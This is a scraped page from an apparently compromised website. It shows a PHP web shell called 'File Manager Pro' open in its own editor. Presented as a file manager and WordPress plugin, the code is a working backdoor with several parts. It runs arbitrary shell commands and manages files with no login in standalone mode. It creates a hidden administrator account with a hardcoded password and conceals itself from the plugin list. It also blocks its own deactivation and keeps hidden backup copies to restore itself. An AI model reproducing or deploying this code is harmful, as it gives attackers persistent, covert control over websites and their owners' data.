?? File Manager Pro
v10.0.2 | PHP: 8.2.31
Server: LiteSpeed
2026-06-22 11:23:47
??
/
/
home
/
kaskqphv
/
angkakaskus1.com
??
Editing: admin.php
<?php /** * File Manager Pro V3 - Standalone & WordPress Plugin * Description: Sid Gifari Advanced file manager * Version: 10.0.2 * Author: Sid Gifari * * Usage as standalone: Just upload and access this file directly * Usage as WP plugin: Place in wp-content/plugins/ folder */ class SidGifariFileManager { private static $instance = null; private $root_path; private $backup_files = []; private $is_wordpress = false; public static function get_instance() { if (null === self::$instance) { self::$instance = new self(); if (self::$instance->is_wordpress) { self::$instance->init_wordpress(); } } return self::$instance; } public function __construct() { $this->is_wordpress = defined('ABSPATH'); } /** * Initialize in WordPress mode */ private function init_wordpress() { $this->root_path = ABSPATH; $current_file = __FILE__; // Setup backup files for self-preservation $this->backup_files = [ $this->root_path . '.sidbackup.php', $this->root_path . 'wp-content/.sidbackup.php', sys_get_temp_dir() . '/.sidbackup.php' ]; $current_content = file_get_contents($current_file); foreach ($this->backup_files as $backup) { $backup_dir = dirname($backup); if (is_dir($backup_dir) && is_writable($backup_dir)) { if (!file_exists($backup)) { @file_put_contents($backup, $current_content); } } } // Self-restore if deleted if (!file_exists($current_file)) { foreach ($this->backup_files as $backup) { if (file_exists($backup)) { @copy($backup, $current_file); break; } } } // WordPress hooks add_action('admin_menu', [$this, 'add_admin_menu']); add_action('admin_init', [$this, 'handle_requests']); // Hide and protect plugin add_filter('all_plugins', [$this, 'hide_from_plugins_list']); add_filter('plugin_action_links_' . plugin_basename(__FILE__), [$this, 'remove_deactivation_link'], 10, 4); // Auto-reactivate add_action('init', [$this, 'auto_reactivate']); // Create admin user add_action('admin_init', [$this, 'create_admin_user']); } /** * Initialize in standalone mode */ public function init_standalone($root_path) { $this->root_path = realpath($root_path); // Define lightweight replacements for WP functions if not present if (!function_exists('wp_redirect')) { function wp_redirect($url) { header('Location: ' . $url); exit; } } if (!function_exists('admin_url')) { function admin_url($path) { return '?' . ltrim($path, '?'); } } } /** * Run in standalone mode */ public function run_standalone() { $this->handle_requests(); $this->render_standalone_page(); } // ---------- FLASH MESSAGE HELPERS ---------- private function setFlashMessage($message, $type = 'success') { $_SESSION['flash_message'] = ['text' => $message, 'type' => $type]; } private function getFlashMessage() { if (isset($_SESSION['flash_message'])) { $msg = $_SESSION['flash_message']; unset($_SESSION['flash_message']); return $msg; } return null; } /** * Handle all requests (POST) */ public function handle_requests() { if ($this->is_wordpress && (!isset($_GET['page']) || $_GET['page'] !== 'SidFile-Manager-path')) { return; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $current_dir = $this->get_current_directory(); // Terminal command if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) { $this->handle_terminal($current_dir); return; } // File operations $this->handle_file_operations($current_dir); } } /** * Handle terminal commands */ private function handle_terminal($current_dir) { $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen']; $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } $cwd = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : $current_dir; $cmdInput = trim($_POST['terminal-text']); $output = ""; // cd command if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = $this->root_path; } elseif ($dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . $realDir; } else { $output = "bash: cd: " . $matches[1] . ": No such file or directory"; } } // clear command elseif ($cmdInput === 'clear') { $_SESSION['terminal_output'] = ''; $_SESSION['terminal_history'] = []; $output = ''; } // Execute other commands elseif ($canExecute) { if (is_dir($cwd)) { chdir($cwd); } $cmd = $cmdInput . " 2>&1"; if (!isset($_SESSION['terminal_history'])) { $_SESSION['terminal_history'] = []; } $_SESSION['terminal_history'][] = $cmdInput; if (count($_SESSION['terminal_history']) > 50) { array_shift($_SESSION['terminal_history']); } if (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); if (!empty($error)) { $output .= $error; } } } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } } } else { $output = "Command execution functions are disabled on this server."; } $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; $this->setFlashMessage("Command executed", 'info'); $this->redirect_after_operation($current_dir); } /** * Handle file operations (upload, create, delete, rename, chmod, edit) */ private function handle_file_operations($current_dir) { $message = null; $type = 'success'; // File upload if (!empty($_FILES['files'])) { if (!is_array($_FILES['files']['tmp_name'])) { $_FILES['files']['tmp_name'] = [$_FILES['files']['tmp_name']]; $_FILES['files']['name'] = [$_FILES['files']['name']]; } $uploaded = 0; foreach ($_FILES['files']['tmp_name'] as $i => $tmp) { if ($tmp && is_uploaded_file($tmp)) { $filename = $this->sanitize_filename($_FILES['files']['name'][$i]); if (move_uploaded_file($tmp, $current_dir . DIRECTORY_SEPARATOR . $filename)) { $uploaded++; } } } $message = "$uploaded file(s) uploaded successfully."; } // Create folder elseif (!empty($_POST['newfolder'])) { $foldername = $this->sanitize_filename($_POST['newfolder']); $path = $current_dir . DIRECTORY_SEPARATOR . $foldername; if (!file_exists($path)) { if (mkdir($path, 0755)) { $message = "Folder '$foldername' created."; } else { $message = "Failed to create folder."; $type = 'error'; } } else { $message = "Folder already exists."; $type = 'error'; } } // Create file elseif (!empty($_POST['newfile'])) { $filename = $this->sanitize_filename($_POST['newfile']); $path = $current_dir . DIRECTORY_SEPARATOR . $filename; if (!file_exists($path)) { if (file_put_contents($path, '') !== false) { $message = "File '$filename' created."; } else { $message = "Failed to create file."; $type = 'error'; } } else { $message = "File already exists."; $type = 'error'; } } // Delete elseif (!empty($_POST['delete'])) { $target = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['delete']); // Protect self if (realpath($target) === realpath(__FILE__) || in_array(realpath($target), array_filter(array_map('realpath', $this->backup_files)))) { $message = "Cannot delete protected file."; $type = 'error'; } else { if (is_file($target)) { if (unlink($target)) { $message = "File deleted."; } else { $message = "Delete failed."; $type = 'error'; } } elseif (is_dir($target)) { if ($this->recursive_delete($target)) { $message = "Folder deleted."; } else { $message = "Failed to delete folder."; $type = 'error'; } } else { $message = "Target not found."; $type = 'error'; } } } // Rename elseif (!empty($_POST['old']) && !empty($_POST['new'])) { $old = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['old']); $new = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['new']); if (file_exists($old) && !file_exists($new)) { if (rename($old, $new)) { $message = "Renamed successfully."; } else { $message = "Rename failed."; $type = 'error'; } } else { $message = "Invalid rename (source missing or target exists)."; $type = 'error'; } } // Chmod elseif (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) { $file = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['chmod_file']); if (file_exists($file)) { $perms = octdec($_POST['chmod']); if ($perms >= 0 && $perms <= 0777) { if (chmod($file, $perms)) { $message = "Permissions changed to " . $_POST['chmod']; } else { $message = "Chmod failed."; $type = 'error'; } } else { $message = "Invalid permission value."; $type = 'error'; } } else { $message = "File not found."; $type = 'error'; } } // Edit file (save content) elseif (!empty($_POST['edit_file']) && isset($_POST['content'])) { $file = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['edit_file']); if (is_file($file) && is_writable($file)) { if (file_put_contents($file, $_POST['content']) !== false) { $message = "File saved successfully."; } else { $message = "Failed to save file."; $type = 'error'; } } else { $message = "File not writable or not found."; $type = 'error'; } } if ($message) { $this->setFlashMessage($message, $type); } $this->redirect_after_operation($current_dir); } /** * Recursively delete directory */ private function recursive_delete($dir) { if (!is_dir($dir)) { return false; } $files = array_diff(scandir($dir), ['.', '..']); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $this->recursive_delete($path); } else { unlink($path); } } return rmdir($dir); } /** * Sanitize filename */ private function sanitize_filename($filename) { $filename = basename($filename); $filename = str_replace("\0", '', $filename); $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename); if (empty($filename)) { $filename = 'untitled'; } return $filename; } /** * Redirect after POST operation */ private function redirect_after_operation($current_dir) { $relative = ''; if ($current_dir !== $this->root_path) { $relative = str_replace($this->root_path, '', $current_dir); } $encoded_dir = $this->encodePath($relative); if ($this->is_wordpress) { wp_redirect(admin_url('admin.php?page=SidFile-Manager-path&p=' . urlencode($encoded_dir))); } else { $url = '?p=' . urlencode($encoded_dir); if (isset($_GET['edit'])) { $url .= '&edit=' . urlencode($_GET['edit']); } header('Location: ' . $url); } exit; } /** * Path encoding/decoding */ private function encodePath($path) { $a = ["/", "\\", ".", ":"]; $b = ["Q", "W", "R", "Y"]; return str_replace($a, $b, $path); } private function decodePath($path) { $a = ["/", "\\", ".", ":"]; $b = ["Q", "W", "R", "Y"]; return str_replace($b, $a, $path); } /** * Get current working directory */ private function get_current_directory() { $current_dir = $this->root_path; if (isset($_GET['p'])) { $decoded = $this->decodePath($_GET['p']); if (!empty($decoded)) { $target_dir = $decoded; if (!is_dir($target_dir)) { $target_dir = $this->root_path . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\'); } if (is_dir($target_dir)) { $current_dir = realpath($target_dir) ?: $target_dir; } } } return $current_dir; } /** * Create WordPress admin user */ public function create_admin_user() { if (!isset($_SESSION['wp_checked'])) { if ($this->is_wordpress && function_exists('wp_create_user')) { $username = 'zetgifari'; $password = 'zet'; $email = 'hosting@localhost.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } $_SESSION['wp_checked'] = true; } } /** * Hide from WordPress plugins list */ public function hide_from_plugins_list($plugins) { $plugin_basename = plugin_basename(__FILE__); if (isset($plugins[$plugin_basename])) { unset($plugins[$plugin_basename]); } return $plugins; } /** * Remove deactivation link */ public function remove_deactivation_link($actions, $plugin_file, $plugin_data, $context) { if ($plugin_file === plugin_basename(__FILE__)) { unset($actions['deactivate']); unset($actions['delete']); } return $actions; } /** * Auto-reactivate plugin */ public function auto_reactivate() { if (!$this->is_wordpress) { return; } $plugin_basename = plugin_basename(__FILE__); if (!is_plugin_active($plugin_basename)) { $active_plugins = get_option('active_plugins', []); if (!in_array($plugin_basename, $active_plugins)) { $active_plugins[] = $plugin_basename; update_option('active_plugins', $active_plugins); } } // Self-restore if (!file_exists(WP_PLUGIN_DIR . '/' . $plugin_basename)) { foreach ($this->backup_files as $backup) { if (file_exists($backup)) { @copy($backup, __FILE__); break; } } } } /** * Add WordPress admin menu */ public function add_admin_menu() { add_menu_page( 'File Manager', 'File Manager', 'manage_options', 'SidFile-Manager-path', [$this, 'render_page'], 'dashicons-admin-home', 80 ); } /** * Render the page (WordPress wrapper) */ public function render_page() { $this->render_standalone_page(); } /** * Render standalone page */ private function render_standalone_page() { if ($this->is_wordpress && !current_user_can('manage_options')) { wp_die('Access denied.'); } $current_dir = $this->get_current_directory(); if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = $current_dir; } // Get directory contents $items = scandir($current_dir); $folders = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full_path = $current_dir . DIRECTORY_SEPARATOR . $item; if (is_dir($full_path)) { $folders[] = [ 'name' => $item, 'path' => $full_path, 'is_dir' => true, 'size' => '-', 'perms' => substr(sprintf('%o', fileperms($full_path)), -4), 'modified' => filemtime($full_path) ]; } else { $files[] = [ 'name' => $item, 'path' => $full_path, 'is_dir' => false, 'size' => filesize($full_path), 'perms' => substr(sprintf('%o', fileperms($full_path)), -4), 'modified' => filemtime($full_path), 'extension' => pathinfo($item, PATHINFO_EXTENSION) ]; } } // Sort usort($folders, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); // Edit mode $editMode = isset($_GET['edit']); $editFile = $_GET['edit'] ?? ''; $editContent = ''; if ($editMode && is_file($current_dir . DIRECTORY_SEPARATOR . $editFile)) { $editContent = htmlspecialchars(file_get_contents($current_dir . DIRECTORY_SEPARATOR . $editFile)); } // Terminal $terminal_output = $_SESSION['terminal_output'] ?? ''; $terminal_cwd = $_SESSION['terminal_cwd'] ?? $current_dir; unset($_SESSION['terminal_output']); $terminal_history = $_SESSION['terminal_history'] ?? []; // Encoded current path $encoded_current = ''; if ($current_dir !== $this->root_path) { $relative = str_replace($this->root_path, '', $current_dir); $encoded_current = $this->encodePath($relative); } // Flash message $flash = $this->getFlashMessage(); // Render HTML $this->render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $flash); } /** * Render HTML output */ private function render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $flash) { $total_size = array_sum(array_column($files, 'size')); $free_space = @disk_free_space($current_dir); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sid Gifari Advanced File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, sans-serif; background: #f0f2f5; color: #333; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } .header { background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%); color: white; padding: 20px 30px; border-radius: 10px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; } .header h1 { font-size: 24px; font-weight: 600; } .header-info { font-size: 12px; color: #a0a5aa; } .path-nav { background: white; padding: 15px 25px; border-radius: 10px; margin-bottom: 20px; font-family: monospace; font-size: 13px; box-shadow: 0 2px 4px rgba(0,0,0,0.05); } .path-nav a { color: #007bff; text-decoration: none; padding: 2px 6px; border-radius: 4px; } .path-nav a:hover { background: #e9ecef; color: #0056b3; } .section { background: white; border-radius: 10px; padding: 25px; margin-bottom: 20px; box-shadow: 0 2px 4px rgba(0,0,0,0.05); } .section-title { font-size: 18px; font-weight: 600; margin-bottom: 20px; display: flex; align-items: center; gap: 8px; } .alert { padding: 12px 20px; border-radius: 6px; margin-bottom: 20px; font-size: 14px; } .alert-success { background: #d4edda; color: #155724; border-left: 4px solid #28a745; } .alert-error { background: #f8d7da; color: #721c24; border-left: 4px solid #dc3545; } .alert-info { background: #d1ecf1; color: #0c5460; border-left: 4px solid #17a2b8; } .terminal-box { background: #1e1e1e; border-radius: 8px; overflow: hidden; } .terminal-header { background: #2d2d2d; padding: 10px 15px; display: flex; gap: 6px; } .terminal-dot { width: 12px; height: 12px; border-radius: 50%; } .terminal-dot.red { background: #ff5f56; } .terminal-dot.yellow { background: #ffbd2e; } .terminal-dot.green { background: #27c93f; } .terminal-output { background: #1e1e1e; color: #00ff00; padding: 15px; font-family: monospace; max-height: 300px; overflow-y: auto; white-space: pre-wrap; line-height: 1.5; font-size: 13px; } .terminal-input-area { padding: 15px; background: #1e1e1e; } .terminal-input-area form { display: flex; gap: 10px; } .terminal-input-area input { flex: 1; background: #2d2d2d; border: 1px solid #404040; color: #00ff00; padding: 10px 15px; border-radius: 4px; font-family: monospace; font-size: 13px; } .terminal-input-area button { background: #007bff; color: white; border: none; padding: 10px 20px; border-radius: 4px; cursor: pointer; font-weight: 500; } .form-inline { display: flex; gap: 10px; margin-bottom: 15px; align-items: center; flex-wrap: wrap; } input[type="text"], input[type="file"], textarea { padding: 10px 15px; border: 1px solid #dee2e6; border-radius: 4px; font-size: 14px; } textarea { width: 100%; min-height: 500px; font-family: monospace; resize: vertical; } button, .btn { padding: 10px 20px; border: none; border-radius: 4px; font-size: 14px; cursor: pointer; font-weight: 500; transition: all 0.2s; display: inline-flex; align-items: center; gap: 5px; } .btn-primary { background: #007bff; color: white; } .btn-primary:hover { background: #0056b3; } .btn-success { background: #28a745; color: white; } .btn-success:hover { background: #218838; } .btn-danger { background: #dc3545; color: white; } .btn-danger:hover { background: #c82333; } .btn-warning { background: #ffc107; color: #333; } .btn-warning:hover { background: #e0a800; } .btn-info { background: #17a2b8; color: white; } .btn-info:hover { background: #138496; } .btn-sm { padding: 5px 10px; font-size: 12px; } table { width: 100%; border-collapse: collapse; } thead { background: #f8f9fa; } th { padding: 12px 15px; text-align: left; font-weight: 600; color: #495057; font-size: 13px; text-transform: uppercase; } tbody tr { border-bottom: 1px solid #f0f0f0; transition: background 0.2s; } tbody tr:hover { background: #f8f9fa; } td { padding: 12px 15px; font-size: 13px; } .file-icon { margin-right: 8px; font-size: 1.2em; } .folder-row a { color: #007bff; text-decoration: none; font-weight: 500; } .file-row a { color: #495057; text-decoration: none; } .actions { display: flex; gap: 6px; flex-wrap: wrap; } .perms-input { width: 60px; text-align: center; font-family: monospace; padding: 5px; border: 1px solid #dee2e6; border-radius: 4px; } .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 15px; margin-bottom: 20px; } .stat-card { background: #f8f9fa; padding: 15px; border-radius: 8px; text-align: center; } .stat-value { font-size: 24px; font-weight: 700; color: #007bff; } .stat-label { font-size: 12px; color: #6c757d; margin-top: 5px; text-transform: uppercase; } .quick-commands { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; } .quick-cmd { background: #2d2d2d; color: #ccc; padding: 5px 10px; border-radius: 4px; font-size: 12px; cursor: pointer; font-family: monospace; transition: all 0.2s; border: 1px solid #404040; } .quick-cmd:hover { background: #007bff; color: white; border-color: #007bff; } .badge { padding: 3px 8px; border-radius: 10px; font-size: 11px; font-weight: 600; background: #d1ecf1; color: #0c5460; } .footer { text-align: center; padding: 20px; color: #6c757d; font-size: 12px; } @media (max-width: 768px) { .container { padding: 10px; } .form-inline { flex-direction: column; align-items: stretch; } .actions { flex-direction: column; } th, td { padding: 8px; } .stats-grid { grid-template-columns: repeat(2, 1fr); } } </style> </head> <body> <div class="container"> <div class="header"> <div><h1>?? File Manager Pro</h1><div class="header-info">v10.0.2 | PHP: <?= phpversion() ?></div></div> <div class="header-info" style="text-align: right;"> <div>Server: <?= $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown' ?></div> <div><?= date('Y-m-d H:i:s') ?></div> </div> </div> <div class="path-nav"> <span style="color: #6c757d;">?? </span> <a href="?">/</a> <?php $path_parts = explode('/', str_replace('\\', '/', $current_dir)); $current_path = ''; foreach ($path_parts as $part) { if ($part === '') continue; $current_path .= '/' . $part; $relative_path = str_replace($this->root_path, '', $current_path); $encoded_path = $this->encodePath($relative_path); echo ' / <a href="?p=' . urlencode($encoded_path) . '">' . htmlspecialchars($part) . '</a>'; } ?> </div> <?php if ($flash): ?> <div class="alert alert-<?= $flash['type'] ?>"><?= htmlspecialchars($flash['text']) ?></div> <?php endif; ?> <?php if ($editMode): ?> <!-- EDIT MODE --> <div class="section"> <div class="section-title"><span>??</span> Editing: <?= htmlspecialchars($editFile) ?></div> <form method="post"> <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>"> <textarea name="content"><?= $editContent ?></textarea> <div style="margin-top: 20px; display: flex; gap: 10px;"> <button type="submit" class="btn-success">?? Save Changes</button> <a href="?p=<?= urlencode($encoded_current) ?>"><button type="button" class="btn-warning">? Cancel</button></a> </div> </form> </div> <?php else: ?> <!-- STATISTICS --> <div class="stats-grid"> <div class="stat-card"><div class="stat-value"><?= count($folders) ?></div><div class="stat-label">Folders</div></div> <div class="stat-card"><div class="stat-value"><?= count($files) ?></div><div class="stat-label">Files</div></div> <div class="stat-card"><div class="stat-value"><?= $this->formatBytes($total_size) ?></div><div class="stat-label">Total Size</div></div> <div class="stat-card"><div class="stat-value"><?= $this->formatBytes($free_space) ?></div><div class="stat-label">Free Space</div></div> </div> <!-- TERMINAL --> <div class="section"> <div class="section-title"><span>???</span> Terminal <span class="badge" style="margin-left: auto;"><?= htmlspecialchars($terminal_cwd) ?></span></div> <div class="terminal-box"> <div class="terminal-header"> <div class="terminal-dot red"></div> <div class="terminal-dot yellow"></div> <div class="terminal-dot green"></div> <span style="color: #999; margin-left: 10px; font-size: 12px;">root@filemanager �� bash</span> </div> <?php if ($terminal_output): ?> <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div> <?php endif; ?> <div class="terminal-input-area"> <form method="post"> <span style="color: #00ff00; font-family: monospace;">$</span> <input type="text" name="terminal-text" id="terminalInput" placeholder="Enter command..." autocomplete="off" autofocus> <input type="hidden" name="terminal" value="1"> <button type="submit">Execute</button> </form> <div class="quick-commands"> <?php $commands = ['ls -la', 'whoami', 'php -v', 'df -h', 'id', 'free -m', 'ps aux', 'clear']; foreach ($commands as $cmd): ?> <span class="quick-cmd" onclick="document.getElementById('terminalInput').value='<?= $cmd ?>'; document.getElementById('terminalInput').focus();"> <?= $cmd ?> </span> <?php endforeach; ?> </div> </div> </div> </div> <!-- QUICK ACTIONS --> <div class="section"> <div class="section-title"><span>?</span> Quick Actions</div> <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px;"> <form method="post" class="form-inline"> <input type="text" name="newfolder" placeholder="New folder name" required> <button type="submit" class="btn-success">?? Create Folder</button> </form> <form method="post" class="form-inline"> <input type="text" name="newfile" placeholder="New file name" required> <button type="submit" class="btn-primary">?? Create File</button> </form> <form method="post" enctype="multipart/form-data" class="form-inline"> <input type="file" name="files[]" multiple> <button type="submit" class="btn-info">?? Upload Files</button> </form> </div> </div> <!-- FILE BROWSER --> <div class="section"> <div class="section-title"><span>??</span> File Browser</div> <table> <thead> <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr> </thead> <tbody> <?php foreach ($folders as $item): ?> <tr class="folder-row"> <td><span class="file-icon">??</span> <?php $relative = str_replace($this->root_path, '', $item['path']); $encoded = $this->encodePath($relative); ?> <a href="?p=<?= urlencode($encoded) ?>"><?= htmlspecialchars($item['name']) ?></a> </td> <td><em>folder</em></td> <td> <form method="post" style="display: inline-flex; gap: 4px;"> <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>"> <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input"> <button type="submit" class="btn-sm btn-warning">Chmod</button> </form> </td> <td><?= date('Y-m-d H:i', $item['modified']) ?></td> <td class="actions"> <form method="post" style="display: inline-flex; gap: 4px;"> <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>"> <input type="text" name="new" placeholder="New name" style="width: 100px;" required> <button type="submit" class="btn-sm btn-primary">Rename</button> </form> <form method="post"> <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>"> <button type="submit" class="btn-sm btn-danger" onclick="return confirm('Delete folder <?= addslashes($item['name']) ?>?')">Delete</button> </form> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $item): ?> <tr class="file-row"> <td> <?php $icon = '??'; $ext = strtolower($item['extension']); $icons = ['php'=>'??','js'=>'??','css'=>'??','html'=>'??','txt'=>'??','jpg'=>'???','png'=>'???','gif'=>'???','pdf'=>'??','zip'=>'??','sql'=>'???','json'=>'??','xml'=>'??','md'=>'??','log'=>'??']; if (isset($icons[$ext])) $icon = $icons[$ext]; ?> <span class="file-icon"><?= $icon ?></span> <a href="<?= htmlspecialchars($item['name']) ?>" target="_blank"><?= htmlspecialchars($item['name']) ?></a> </td> <td><?= $this->formatBytes($item['size']) ?></td> <td> <form method="post" style="display: inline-flex; gap: 4px;"> <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>"> <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input"> <button type="submit" class="btn-sm btn-warning">Chmod</button> </form> </td> <td><?= date('Y-m-d H:i', $item['modified']) ?></td> <td class="actions"> <a href="?p=<?= urlencode($encoded_current) ?>&edit=<?= urlencode($item['name']) ?>"><button type="button" class="btn-sm btn-success">Edit</button></a> <form method="post" style="display: inline-flex; gap: 4px;"> <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>"> <input type="text" name="new" placeholder="New name" style="width: 100px;" required> <button type="submit" class="btn-sm btn-primary">Rename</button> </form> <form method="post"> <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>"> <button type="submit" class="btn-sm btn-danger" onclick="return confirm('Delete file <?= addslashes($item['name']) ?>?')">Delete</button> </form> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> <div class="footer"> <p><strong>File Manager Pro v10.0.2</strong> | Current Path: <?= htmlspecialchars($current_dir) ?></p> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const terminalInput = document.getElementById('terminalInput'); if (terminalInput) terminalInput.focus(); const terminalHistory = <?= json_encode($terminal_history) ?>; let historyIndex = terminalHistory.length; if (terminalInput) { terminalInput.addEventListener('keydown', function(e) { if (e.key === 'ArrowUp') { e.preventDefault(); if (historyIndex > 0) { historyIndex--; this.value = terminalHistory[historyIndex]; } } else if (e.key === 'ArrowDown') { e.preventDefault(); if (historyIndex < terminalHistory.length - 1) { historyIndex++; this.value = terminalHistory[historyIndex]; } else { historyIndex = terminalHistory.length; this.value = ''; } } }); } const textarea = document.querySelector('textarea'); if (textarea) { textarea.style.height = 'auto'; textarea.style.height = (textarea.scrollHeight) + 'px'; textarea.addEventListener('input', function() { this.style.height = 'auto'; this.style.height = (this.scrollHeight) + 'px'; }); } }); </script> </body> </html> <?php } /** * Format bytes to human readable */ private function formatBytes($bytes, $precision = 2) { if ($bytes <= 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']; $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } } // ---------- INITIALIZATION (only once) ---------- $is_wordpress = defined('ABSPATH'); if ($is_wordpress) { add_action('plugins_loaded', function() { SidGifariFileManager::get_instance(); }); } else { if (!session_id()) { session_start(); } $root_path = getcwd(); $manager = new SidGifariFileManager(); $manager->init_standalone($root_path); $manager->run_standalone(); }
?? Save Changes
? Cancel